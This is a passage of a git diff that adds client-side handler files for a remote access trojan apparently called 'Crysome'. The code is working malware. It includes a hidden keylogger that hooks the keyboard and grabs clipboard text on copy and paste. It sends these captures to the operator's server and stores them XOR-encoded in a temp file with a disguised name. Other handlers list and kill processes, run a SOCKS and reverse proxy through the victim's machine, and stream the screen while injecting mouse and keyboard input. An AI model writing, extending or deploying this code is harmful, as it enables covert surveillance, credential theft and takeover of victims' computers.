EncoderParameter(Encoder.Quality, _quality); + bmp.Save(memoryStream2, codec, encoderParameters); + } + return memoryStream2.ToArray(); + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/KeyloggerHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/KeyloggerHandlers.cs new file mode 100644 index 0000000..122e5a4 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/KeyloggerHandlers.cs @@ -0,0 +1,386 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using Crysome.Client.Util; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; + +namespace Crysome.Client.Handlers; + +public static class KeyloggerHandlers +{ + private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); + + private struct MSG + { + public IntPtr hwnd; + + public uint message; + + public IntPtr wParam; + + public IntPtr lParam; + + public uint time; + + public POINT pt; + } + + private struct POINT + { + public int X; + + public int Y; + } + + private struct KBDLLHOOKSTRUCT + { + public uint vkCode; + + public uint scanCode; + + public uint flags; + + public uint time; + + public IntPtr dwExtraInfo; + } + + private static volatile bool _running; + + private static CrysomeClient _client; + + private static IntPtr _hookId = IntPtr.Zero; + + private static readonly object _lock = new object(); + + private static readonly StringBuilder _buffer = new StringBuilder(); + + private static DateTime _lastSend = DateTime.MinValue; + + private const int FlushIntervalMs = 2000; + + private const int MaxBufferChars = 500; + + private static readonly string _offlineFilePath = Path.Combine(Path.GetTempPath(), "Msvcrtd86_tmp.log"); + + private const byte XorKey = 167; + + private const int WH_KEYBOARD_LL = 13; + + private const int WM_KEYDOWN = 256; + + private const int WM_KEYUP = 257; + + private const int WM_SYSKEYDOWN = 260; + + private const int WM_SYSKEYUP = 261; + + private static volatile bool _ctrlDown; + + private const uint LLKHF_INJECTED = 16u; + + private const int VK_CONTROL = 17; + + private const int VK_LCONTROL = 162; + + private const int VK_RCONTROL = 163; + + private const uint PM_REMOVE = 1u; + + private static LowLevelKeyboardProc _proc = HookCallback; + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool UnhookWindowsHookEx(IntPtr hhk); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("user32.dll")] + private static extern bool PeekMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg); + + [DllImport("user32.dll")] + private static extern bool TranslateMessage(ref MSG lpMsg); + + [DllImport("user32.dll")] + private static extern IntPtr DispatchMessage(ref MSG lpMsg); + + public static void HandleStartKeylogger(CrysomeClient client, IPacket packet) + { + lock (_lock) + { + if (!_running) + { + _client = client; + _running = true; + _ctrlDown = false; + _buffer.Clear(); + Thread thread = new Thread(RunHook); + thread.IsBackground = true; + thread.Start(); + } + } + } + + public static void HandleStopKeylogger(CrysomeClient client, IPacket packet) + { + lock (_lock) + { + _running = false; + if (_hookId != IntPtr.Zero) + { + UnhookWindowsHookEx(_hookId); + _hookId = IntPtr.Zero; + } + FlushBuffer(); + } + } + + public static void UploadOfflineDataIfAny(CrysomeClient client) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + try + { + if (!File.Exists(_offlineFilePath)) + { + return; + } + byte[] array = File.ReadAllBytes(_offlineFilePath); + if (array != null && array.Length != 0) + { + for (int i = 0; i < array.Length; i++) + { + array[i] ^= 167; + } + string text = Encoding.UTF8.GetString(array); + if (!string.IsNullOrWhiteSpace(text) && client != null && client.IsConnected) + { + client.SendPacket((IPacket)new OfflineKeylogDataPacket(text)); + File.Delete(_offlineFilePath); + } + } + } + catch + { + } + } + + private static void RunHook() + { + try + { + using (Process process = Process.GetCurrentProcess()) + { + using ProcessModule processModule = process.MainModule; + _hookId = SetWindowsHookEx(13, _proc, GetModuleHandle(processModule.ModuleName), 0u); + } + if (_hookId == IntPtr.Zero) + { + Program.Log("Keylogger: SetWindowsHookEx failed"); + return; + } + try + { + while (_running) + { + MSG lpMsg; + while (PeekMessage(out lpMsg, IntPtr.Zero, 0u, 0u, 1u)) + { + TranslateMessage(ref lpMsg); + DispatchMessage(ref lpMsg); + } + Thread.Sleep(20); + } + } + finally + { + if (_hookId != IntPtr.Zero) + { + UnhookWindowsHookEx(_hookId); + _hookId = IntPtr.Zero; + } + } + } + catch (Exception ex) + { + Program.Log("Keylogger: " + ex.Message); + } + } + + private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + if (nCode >= 0 && _running) + { + try + { + KBDLLHOOKSTRUCT kBDLLHOOKSTRUCT = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT)); + if ((kBDLLHOOKSTRUCT.flags & 0x10) != 0) + { + return CallNextHookEx(_hookId, nCode, wParam, lParam); + } + int vkCode = (int)kBDLLHOOKSTRUCT.vkCode; + bool flag = wParam == (IntPtr)256 || wParam == (IntPtr)260; + if (wParam == (IntPtr)257) + { + _ = 1; + } + else + _ = wParam == (IntPtr)261; + if (vkCode == 17 || vkCode == 162 || vkCode == 163) + { + _ctrlDown = flag; + return CallNextHookEx(_hookId, nCode, wParam, lParam); + } + if (flag) + { + if (_ctrlDown && (vkCode == 67 || vkCode == 86 || vkCode == 88)) + { + string value = vkCode switch + { + 86 => "PASTE", + 67 => "COPY", + _ => "CUT", + }; + string textTruncated = ClipboardSta.GetTextTruncated(400); + lock (_buffer) + { + _buffer.Append(" [").Append(value).Append(":") + .Append(textTruncated) + .Append("] "); + TryFlush(); + } + return CallNextHookEx(_hookId, nCode, wParam, lParam); + } + if (!_ctrlDown) + { + char c = KeyToChar(vkCode); + if (c != 0) + { + lock (_buffer) + { + _buffer.Append(c); + TryFlush(); + } + } + } + } + } + catch + { + } + } + return CallNextHookEx(_hookId, nCode, wParam, lParam); + } + + private static void TryFlush() + { + if (_buffer.Length >= 500 || (DateTime.Now - _lastSend).TotalMilliseconds >= 2000.0) + { + FlushBuffer(); + } + } + + private static char KeyToChar(int vk) + { + if (vk >= 48 && vk <= 57) + { + return (char)vk; + } + if (vk >= 65 && vk <= 90) + { + return (char)vk; + } + return vk switch + { + 32 => ' ', + 13 => '\n', + 8 => '\b', + 9 => '\t', + 186 => ';', + 187 => '=', + 188 => ',', + 189 => '-', + 190 => '.', + 191 => '/', + 192 => '`', + 219 => '[', + 220 => '\\', + 221 => ']', + 222 => '\'', + _ => '\0', + }; + } + + private static void FlushBuffer() + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + string text; + lock (_buffer) + { + if (_buffer.Length == 0) + { + return; + } + text = _buffer.ToString(); + _buffer.Clear(); + _lastSend = DateTime.Now; + } + try + { + CrysomeClient client = _client; + if (client != null && client.IsConnected) + { + _client.SendPacket((IPacket)new KeylogDataPacket(text)); + } + else + { + PersistOffline(text); + } + } + catch + { + try + { + PersistOffline(text); + } + catch + { + } + } + } + + private static void PersistOffline(string data) + { + try + { + byte[] bytes = Encoding.UTF8.GetBytes(data); + for (int i = 0; i < bytes.Length; i++) + { + bytes[i] ^= 167; + } + if ((File.Exists(_offlineFilePath) ? new FileInfo(_offlineFilePath).Length : 0) < 524288) + { + using (FileStream fileStream = new FileStream(_offlineFilePath, FileMode.Append, FileAccess.Write)) + { + fileStream.Write(bytes, 0, bytes.Length); + return; + } + } + } + catch + { + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/PingHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/PingHandlers.cs new file mode 100644 index 0000000..36cb5ea --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/PingHandlers.cs @@ -0,0 +1,19 @@ +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class PingHandlers +{ + public static void HandlePing(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Expected O, but got Unknown + PingRequestPacket val = (PingRequestPacket)packet; + client.SendPacket((IPacket)new PingResponsePacket(val.ServerTick)); + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/ProcessHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/ProcessHandlers.cs new file mode 100644 index 0000000..38c946f --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/ProcessHandlers.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class ProcessHandlers +{ + private const int MaxProcesses = 500; + + private const int IconSizePx = 16; + + private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u; + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize); + + public static void HandleGetProcessList(CrysomeClient client, IPacket packet) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Expected O, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + List list = new List(); + try + { + foreach (Process item in Process.GetProcesses().Take(500)) + { + try + { + string text = item.ProcessName ?? ""; + int id = item.Id; + byte[] processIcon = GetProcessIcon(item); + list.Add(new ProcessListEntry(text, id, processIcon)); + } + catch + { + } + finally + { + try + { + item.Dispose(); + } + catch + { + } + } + } + } + catch (Exception) + { + } + client.SendPacket((IPacket)new GetProcessListResponsePacket + { + Processes = list + }); + } + + public static void HandleKillProcess(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + KillProcessRequestPacket val = (KillProcessRequestPacket)packet; + try + { + Process.GetProcessById(val.Pid).Kill(); + } + catch (Exception) + { + } + } + + private static byte[] GetProcessIcon(Process proc) + { + try + { + string processPath = GetProcessPath(proc.Id); + if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath)) + { + return new byte[0]; + } + using Icon icon = Icon.ExtractAssociatedIcon(processPath); + if (icon == null) + { + return new byte[0]; + } + using Bitmap bitmap = new Bitmap(16, 16); + using Graphics graphics = Graphics.FromImage(bitmap); + graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; + graphics.DrawIcon(icon, new Rectangle(0, 0, 16, 16)); + using MemoryStream memoryStream = new MemoryStream(); + bitmap.Save(memoryStream, ImageFormat.Png); + return memoryStream.ToArray(); + } + catch + { + return new byte[0]; + } + } + + private static string GetProcessPath(int pid) + { + try + { + using Process process = Process.GetProcessById(pid); + return process.MainModule?.FileName; + } + catch + { + } + StringBuilder stringBuilder = new StringBuilder(1024); + IntPtr intPtr = OpenProcess(4096u, bInheritHandle: false, pid); + if (intPtr == IntPtr.Zero) + { + return null; + } + try + { + int lpdwSize = stringBuilder.Capacity; + if (QueryFullProcessImageName(intPtr, 0, stringBuilder, ref lpdwSize)) + { + return stringBuilder.ToString(); + } + } + finally + { + CloseHandle(intPtr); + } + return null; + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/ProxyHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/ProxyHandlers.cs new file mode 100644 index 0000000..0fcdd1a --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/ProxyHandlers.cs @@ -0,0 +1,315 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Text; +using System.Threading; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class ProxyHandlers +{ + private static TcpListener _socksListener; + + private static volatile bool _running; + + private static CrysomeClient _serverClient; + + private static volatile bool _reverseProxyMode; + + private static readonly ConcurrentDictionary _reverseProxyStreams = new ConcurrentDictionary(); + + public static void HandleStartProxy(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Expected O, but got Unknown + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Expected O, but got Unknown + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Expected O, but got Unknown + _ = (StartProxyRequestPacket)packet; + _serverClient = client; + if (_reverseProxyMode) + { + client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy active")); + return; + } + if (_running) + { + client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy already running")); + return; + } + try + { + _socksListener = new TcpListener(IPAddress.Loopback, 0); + _socksListener.Start(); + int port = ((IPEndPoint)_socksListener.LocalEndpoint).Port; + _running = true; + Program.Log("SOCKS5 proxy started on port " + port); + Thread thread = new Thread((ThreadStart)delegate + { + AcceptLoop(); + }); + thread.IsBackground = true; + thread.Start(); + client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy active on port " + port)); + } + catch (Exception ex) + { + client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Failed: " + ex.Message)); + } + } + + public static void HandleStartReverseProxy(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Expected O, but got Unknown + StartReverseProxyPacket val = (StartReverseProxyPacket)packet; + _running = false; + try + { + _socksListener?.Stop(); + } + catch + { + } + _socksListener = null; + KeyValuePair[] array = _reverseProxyStreams.ToArray(); + for (int i = 0; i < array.Length; i++) + { + KeyValuePair keyValuePair = array[i]; + keyValuePair.Value.CloseFromRemote(); + _reverseProxyStreams.TryRemove(keyValuePair.Key, out var _); + } + _reverseProxyMode = true; + _serverClient = client; + Program.Log("Reverse proxy mode: use 127.0.0.1:" + val.ServerPort + " on the server"); + client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy ready on 127.0.0.1:" + val.ServerPort)); + } + + public static void HandleStopProxy(CrysomeClient client, IPacket packet) + { + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + _running = false; + _reverseProxyMode = false; + try + { + _socksListener?.Stop(); + } + catch + { + } + _socksListener = null; + KeyValuePair[] array = _reverseProxyStreams.ToArray(); + for (int i = 0; i < array.Length; i++) + { + KeyValuePair keyValuePair = array[i]; + keyValuePair.Value.CloseFromRemote(); + _reverseProxyStreams.TryRemove(keyValuePair.Key, out var _); + } + Program.Log("SOCKS5 proxy stopped"); + client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Proxy stopped")); + } + + public static void HandleReverseProxyStart(CrysomeClient client, IPacket packet) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Expected O, but got Unknown + ReverseProxyStartPacket val = (ReverseProxyStartPacket)packet; + int connId = val.ConnectionId; + ReverseProxyStream stream = new ReverseProxyStream(delegate(byte[] data) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Expected O, but got Unknown + try + { + client.SendPacket((IPacket)new ReverseProxyDataPacket(connId, data)); + } + catch + { + } + }); + if (!_reverseProxyStreams.TryAdd(connId, stream)) + { + stream.CloseFromRemote(); + return; + } + Thread thread = new Thread((ThreadStart)delegate + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + try + { + HandleSocksClientFromStream(stream, connId, client); + } + finally + { + _reverseProxyStreams.TryRemove(connId, out var _); + stream.CloseFromRemote(); + try + { + client.SendPacket((IPacket)new ReverseProxyEndPacket(connId)); + } + catch + { + } + } + }); + thread.IsBackground = true; + thread.Start(); + } + + public static void HandleReverseProxyData(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet; + if (_reverseProxyStreams.TryGetValue(val.ConnectionId, out var value)) + { + value.Push(val.Data); + } + } + + public static void HandleReverseProxyEnd(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet; + if (_reverseProxyStreams.TryRemove(val.ConnectionId, out var value)) + { + value.CloseFromRemote(); + } + } + + private static void AcceptLoop() + { + while (_running) + { + try + { + TcpClient inbound = _socksListener.AcceptTcpClient(); + Thread thread = new Thread((ThreadStart)delegate + { + HandleSocksClient(inbound); + }); + thread.IsBackground = true; + thread.Start(); + } + catch + { + if (!_running) + { + break; + } + } + } + } + + private static void HandleSocksClient(TcpClient inbound) + { + try + { + HandleSocksClientFromStream(inbound.GetStream(), -1, null); + inbound.Close(); + } + catch + { + try + { + inbound.Close(); + } + catch + { + } + } + } + + private static void HandleSocksClientFromStream(Stream stream, int connectionId, CrysomeClient client) + { + try + { + byte[] array = new byte[256]; + if (stream.Read(array, 0, array.Length) < 2 || array[0] != 5) + { + return; + } + stream.Write(new byte[2] { 5, 0 }, 0, 2); + if (stream.Read(array, 0, array.Length) >= 7 && array[0] == 5 && array[1] == 1) + { + string text = ""; + int port = 0; + if (array[3] == 1) + { + text = array[4] + "." + array[5] + "." + array[6] + "." + array[7]; + port = (array[8] << 8) | array[9]; + } + else if (array[3] == 3) + { + int num = array[4]; + text = Encoding.ASCII.GetString(array, 5, num); + port = (array[5 + num] << 8) | array[6 + num]; + } + else if (array[3] == 4) + { + return; + } + Program.Log("SOCKS5 connect: " + text + ":" + port); + TcpClient tcpClient = new TcpClient(); + tcpClient.Connect(text, port); + byte[] array2 = new byte[10] { 5, 0, 0, 1, 0, 0, 0, 0, 0, 0 }; + stream.Write(array2, 0, array2.Length); + NetworkStream remoteStream = tcpClient.GetStream(); + Thread thread = new Thread((ThreadStart)delegate + { + Relay(stream, remoteStream); + }) + { + IsBackground = true + }; + Thread obj = new Thread((ThreadStart)delegate + { + Relay(remoteStream, stream); + }) + { + IsBackground = true + }; + thread.Start(); + obj.Start(); + thread.Join(); + obj.Join(); + tcpClient.Close(); + } + } + catch + { + } + } + + private static void Relay(Stream from, Stream to) + { + try + { + byte[] array = new byte[8192]; + int count; + while ((count = from.Read(array, 0, array.Length)) > 0) + { + to.Write(array, 0, count); + } + } + catch + { + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/RemoteDesktopHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/RemoteDesktopHandlers.cs new file mode 100644 index 0000000..a02b2c7 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/RemoteDesktopHandlers.cs @@ -0,0 +1,422 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; +using TurboJpegWrapper; + +namespace Crysome.Client.Handlers; + +public static class RemoteDesktopHandlers +{ + private struct INPUT + { + public uint type; + public InputUnion U; + public static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + private struct InputUnion + { + [FieldOffset(0)] + public MOUSEINPUT mi; + [FieldOffset(0)] + public KEYBDINPUT ki; + } + + private struct MOUSEINPUT + { + public int dx; + public int dy; + public uint mouseData; + public uint dwFlags; + public uint time; + public IntPtr dwExtraInfo; + } + + private struct KEYBDINPUT + { + public ushort wVk; + public ushort wScan; + public uint dwFlags; + public uint time; + public IntPtr dwExtraInfo; + } + + private static volatile bool _desktopRunning; + private static Thread _desktopThread; + private static CrysomeClient _desktopClient; + private static int _intervalMs = 200; + private static int _screenIndex = -1; + private static volatile int _jpegQuality = 80; + private static byte _captureMode; + public static string ActiveMode { get; private set; } = "Idle"; + private static ImageCodecInfo _jpegCodec; + private static readonly object _codecLock = new object(); + private static TurboJpegWrapper.TJCompressor _turboCompressor; + private static bool _turboChecked; + + private const int SM_XVIRTUALSCREEN = 76; + private const int SM_YVIRTUALSCREEN = 77; + private const int SM_CXVIRTUALSCREEN = 78; + private const int SM_CYVIRTUALSCREEN = 79; + + public static void HandleGetScreens(CrysomeClient client, IPacket packet) + { + try + { + Screen[] allScreens = Screen.AllScreens; + ScreenInfo[] array = (ScreenInfo[])(object)new ScreenInfo[allScreens.Length]; + for (int i = 0; i < allScreens.Length; i++) + { + Screen screen = allScreens[i]; + array[i] = new ScreenInfo + { + Name = screen.DeviceName, + X = screen.Bounds.X, + Y = screen.Bounds.Y, + Width = screen.Bounds.Width, + Height = screen.Bounds.Height, + IsPrimary = screen.Primary + }; + } + client.SendPacket((IPacket)new ScreensResponsePacket(array)); + } + catch + { + client.SendPacket((IPacket)new ScreensResponsePacket((ScreenInfo[])(object)new ScreenInfo[0])); + } + } + + public static void HandleStartRemoteDesktop(CrysomeClient client, IPacket packet) + { + _desktopRunning = false; + _desktopThread?.Join(500); + StartRemoteDesktopPacket val = (StartRemoteDesktopPacket)packet; + _intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs)); + _screenIndex = val.ScreenIndex; + _captureMode = val.CaptureMode; + _desktopClient = client; + _jpegQuality = 80; + _desktopRunning = true; + _desktopThread = new Thread(DesktopLoop) { IsBackground = true }; + _desktopThread.Start(); + } + + public static void HandleStopRemoteDesktop(CrysomeClient client, IPacket packet) + { + _desktopRunning = false; + _desktopThread?.Join(2000); + } + + public static void HandleRdpSetQuality(CrysomeClient client, IPacket packet) + { + RdpSetQualityPacket val = (RdpSetQualityPacket)packet; + _jpegQuality = Math.Max(10, Math.Min(95, val.Quality)); + if (val.IntervalMs > 0) + _intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs)); + } + + public static void HandleRemoteInput(CrysomeClient client, IPacket packet) + { + RemoteInputPacket val = (RemoteInputPacket)packet; + try + { + int offsetX = 0, offsetY = 0; + Screen targetScreen = GetTargetScreen(); + if (targetScreen != null) + { + offsetX = targetScreen.Bounds.X; + offsetY = targetScreen.Bounds.Y; + } + int x = val.X + offsetX; + int y = val.Y + offsetY; + + switch (val.Kind) + { + case 0: SendMouseMove(x, y); break; + case 1: SendMouseButton(x, y, val.ButtonOrKey, true); break; + case 2: SendMouseButton(x, y, val.ButtonOrKey, false); break; + case 3: SendKey((ushort)(val.ButtonOrKey & 0xFF), true); break; + case 4: SendKey((ushort)(val.ButtonOrKey & 0xFF), false); break; + } + } + catch { } + } + + private static void DesktopLoop() + { + var sw = new Stopwatch(); + DxgiCapture dxgi = null; + bool dxgiAvailable = false; + int dxgiRetryCounter = 0; + + if (_captureMode == 2) + { + // GDI+ forced — skip DXGI entirely + dxgiAvailable = false; + ActiveMode = "GDI+ (forced)"; + Program.Log("[RDP] GDI+ forced by server, skipping DXGI"); + } + else + { + // Try DXGI (Auto or DXGI forced) + try + { + dxgi = new DxgiCapture(); + int idx = _screenIndex >= 0 ? _screenIndex : 0; + dxgiAvailable = dxgi.Init(idx); + if (dxgiAvailable) + { + ActiveMode = _captureMode == 1 ? "DXGI (forced)" : "DXGI"; + Program.Log("[RDP] DXGI Desktop Duplication active" + (_captureMode == 1 ? " (forced)" : "")); + } + } + catch + { + dxgiAvailable = false; + } + + if (!dxgiAvailable) + { + if (_captureMode == 1) + { + // DXGI forced but failed — log error, don't fall back + ActiveMode = "DXGI (failed)"; + Program.Log("[RDP] DXGI forced but init failed, no fallback"); + } + else + { + // Auto mode — fall back to GDI+ + ActiveMode = "GDI+"; + Program.Log("[RDP] DXGI unavailable, using GDI+ fallback"); + } + } + } + + Bitmap gdiBitmap = null; + Rectangle gdiRect = Rectangle.Empty; + + try + { + while (_desktopRunning && _desktopClient != null) + { + sw.Restart(); + try + { + byte[] jpeg = null; + + if (dxgiAvailable) + { + jpeg = dxgi.CaptureFrameToJpeg(_jpegQuality, 16); + if (jpeg != null) + { + dxgiRetryCounter = 0; + } + else + { + dxgiRetryCounter++; + if (dxgiRetryCounter > 120) + { + Program.Log("[RDP] DXGI reinit"); + int idx = _screenIndex >= 0 ? _screenIndex : 0; + dxgiAvailable = dxgi.Init(idx); + dxgiRetryCounter = 0; + if (!dxgiAvailable) + { + if (_captureMode == 1) + { + Program.Log("[RDP] DXGI reinit failed, DXGI forced — no fallback"); + ActiveMode = "DXGI (failed)"; + } + else + { + Program.Log("[RDP] DXGI reinit failed, falling back to GDI+"); + ActiveMode = "GDI+"; + } + dxgi.Dispose(); + dxgi = null; + } + } + } + } + + if (!dxgiAvailable && _captureMode != 1) + { + Rectangle bounds = GetTargetScreen().Bounds; + if (gdiBitmap == null || bounds != gdiRect) + { + gdiBitmap?.Dispose(); + gdiBitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb); + gdiRect = bounds; + } + jpeg = CaptureGdiToJpeg(gdiBitmap, bounds, _jpegQuality); + } + + if (jpeg != null && jpeg.Length > 0) + { + try { _desktopClient?.SendDesktopScreenFrame(jpeg); } catch { } + } + } + catch { } + + int elapsed = (int)sw.ElapsedMilliseconds; + int sleep = _intervalMs - elapsed; + if (sleep > 1) + Thread.Sleep(sleep); + } + } + finally + { + ActiveMode = "Idle"; + dxgi?.Dispose(); + gdiBitmap?.Dispose(); + } + } + + private static byte[] EncodeBitmapToJpeg(Bitmap bmp, int quality) + { + if (!_turboChecked) + { + _turboChecked = true; + try { _turboCompressor = new TJCompressor(); } + catch { _turboCompressor = null; } + } + + if (_turboCompressor != null) + { + try + { + var bmpData = bmp.LockBits( + new Rectangle(0, 0, bmp.Width, bmp.Height), + ImageLockMode.ReadOnly, + PixelFormat.Format24bppRgb); + try + { + return _turboCompressor.Compress( + bmpData.Scan0, + bmpData.Stride, + bmp.Width, + bmp.Height, + TJPixelFormats.TJPF_BGR, + TJSubsamplingOptions.TJSAMP_420, + quality, + TJFlags.FASTDCT); + } + finally + { + bmp.UnlockBits(bmpData); + } + } + catch + { + _turboCompressor = null; + } + } + + var codec = GetJpegCodec(); + if (codec != null) + { + using (var ep = new EncoderParameters(1)) + { + ep.Param[0] = new EncoderParameter(Encoder.Quality, quality); + using (var ms = new MemoryStream(65536)) + { + bmp.Save(ms, codec, ep); + return ms.ToArray(); + } + } + } + using (var ms = new MemoryStream(65536)) + { + bmp.Save(ms, ImageFormat.Jpeg); + return ms.ToArray(); + } + } + + private static byte[] CaptureGdiToJpeg(Bitmap reuseBmp, Rectangle bounds, int quality) + { + using (var g = Graphics.FromImage(reuseBmp)) + g.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size); + return EncodeBitmapToJpeg(reuseBmp, quality); + } + + private static ImageCodecInfo GetJpegCodec() + { + if (_jpegCodec != null) return _jpegCodec; + lock (_codecLock) + { + if (_jpegCodec != null) return _jpegCodec; + foreach (var info in ImageCodecInfo.GetImageEncoders()) + { + if (info.FormatID == ImageFormat.Jpeg.Guid) + { + _jpegCodec = info; + break; + } + } + } + return _jpegCodec; + } + + private static Screen GetTargetScreen() + { + var all = Screen.AllScreens; + if (_screenIndex >= 0 && _screenIndex < all.Length) + return all[_screenIndex]; + return Screen.PrimaryScreen; + } + + private static void ToAbsolute(int x, int y, out int ax, out int ay) + { + int vx = GetSystemMetrics(SM_XVIRTUALSCREEN); + int vy = GetSystemMetrics(SM_YVIRTUALSCREEN); + int vw = GetSystemMetrics(SM_CXVIRTUALSCREEN); + int vh = GetSystemMetrics(SM_CYVIRTUALSCREEN); + if (vw <= 0) vw = Screen.PrimaryScreen.Bounds.Width; + if (vh <= 0) vh = Screen.PrimaryScreen.Bounds.Height; + ax = (int)((double)(x - vx) * 65535.0 / vw); + ay = (int)((double)(y - vy) * 65535.0 / vh); + } + + private static void SendMouseMove(int x, int y) + { + ToAbsolute(x, y, out var ax, out var ay); + var input = new INPUT[1]; + input[0].type = 0; + input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 }; + SendInput(1, input, INPUT.Size); + } + + private static void SendMouseButton(int x, int y, int button, bool down) + { + ToAbsolute(x, y, out var ax, out var ay); + uint flags = button == 1 ? (down ? 2u : 4u) : (down ? 8u : 16u); + var input = new INPUT[1]; + input[0].type = 0; + input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 | flags }; + SendInput(1, input, INPUT.Size); + } + + private static void SendKey(ushort vk, bool down) + { + var input = new INPUT[1]; + 